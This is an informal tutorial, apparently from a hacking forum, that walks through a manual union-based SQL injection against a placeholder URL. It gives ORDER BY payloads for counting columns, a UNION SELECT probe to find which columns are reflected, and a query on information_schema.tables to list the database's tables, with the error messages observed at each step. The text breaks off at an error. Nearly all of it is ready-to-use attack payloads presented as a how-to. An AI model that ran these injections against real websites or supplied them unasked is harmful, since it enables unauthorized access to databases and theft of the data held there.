We Will Continue our Tutorials About SQL.

Lets start with our Regular SQL injection.



Our Target.

http://www.Site.com/detail.php?id=31

First we have to Count How Many Columns it have.

http://www.Site.com/detail.php?id=31 order by 1-- -  
No Error !
http://www.Site.com/detail.php?id=31 order by 4-- -  

No Error  ! 
http://www.Site.com/detail.php?id=31 order by 6-- -

We Got Error Here.

Unknown Column '6' in 'order by'


Lets Reduce the Column Count.
http://www.Site.com/detail.php?id=31 order by 5-- -
No Error !

There are 5 Columns so let's Prepare our UNION SELECT Command and Find Vulnerable Columns. 

http://www.Site.com/detail.php?id=31 and 0 Union Select 1,2,3,4,5-- -

We Got 2 and 3.

Lets try to Get The Tables.

http://www.Site.com/detail.php?id=31 and 0 Union Select 1,concat(table_name),3,4,5 from information_schema.tables where table_schema=database()-- -

Ooops !! we got Error Here .
